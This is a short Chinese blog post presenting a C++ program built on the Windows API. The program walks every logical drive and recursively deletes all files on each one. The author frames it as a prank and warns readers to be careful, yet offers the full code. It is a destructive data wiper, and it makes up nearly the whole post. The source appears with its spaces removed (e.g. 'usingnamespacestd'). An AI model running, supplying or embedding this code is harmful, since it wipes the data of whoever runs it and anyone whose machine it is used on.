基于Windows API实现遍历所有文件并删除的方法
本文实例讲述了基于WindowsAPI实现遍历所有文件并删除的方法。分享给大家供大家参考。具体分析如下:
最近一直在学windowsAPI,弄了一些好玩的东西(有点恶作剧了,请大家谨慎使用)...
下面是我现学现卖写的一个删除硬盘上所有文件的小程序....
#include<windows.h>
#include<stdio.h>
#include<bitset>
usingnamespacestd;
voidDelFile(char*cFilePath)
{
WIN32_FIND_DATAdata;
HANDLEhFind;
charcFullPath[100];
charcNewPath[100];
sprintf_s(cFullPath,"%s\\*.*",cFilePath);
hFind=FindFirstFile(cFullPath,&data);
do
{
if((!strcmp(".",data.cFileName))||(!strcmp("..",data.cFileName)))
{
continue;
}
if(data.dwFileAttributes==FILE_ATTRIBUTE_DIRECTORY)
{
sprintf_s(cNewPath,"%s\\%s",cFilePath,data.cFileName);
DelFile(cNewPath);//递归
}
//MessageBox(NULL,data.cFileName,"Look",0);
sprintf_s(cFullPath,"%s\\%s",cFilePath,data.cFileName);
DeleteFile(cFullPath);
}while(FindNextFile(hFind,&data));
}
intWINAPIWinMain(
HINSTANCEhInstance,//handletocurrentinstance
HINSTANCEhPrevInstance,//handletopreviousinstance
LPSTRlpCmdLine,//commandline
intnCmdShow//showstate
)
{
DWORDdwDrive=GetLogicalDrives();
bitset<32>bit(dwDrive);
charPath[3]={'a',':','\0'};
for(intix=0;ix!=32;ix++)
{
if(bit.test(ix))
{
Path[0]='A'+ix;
DelFile(Path);
}
}
return0;
}
希望本文所述对大家的win32程序设计有所帮助。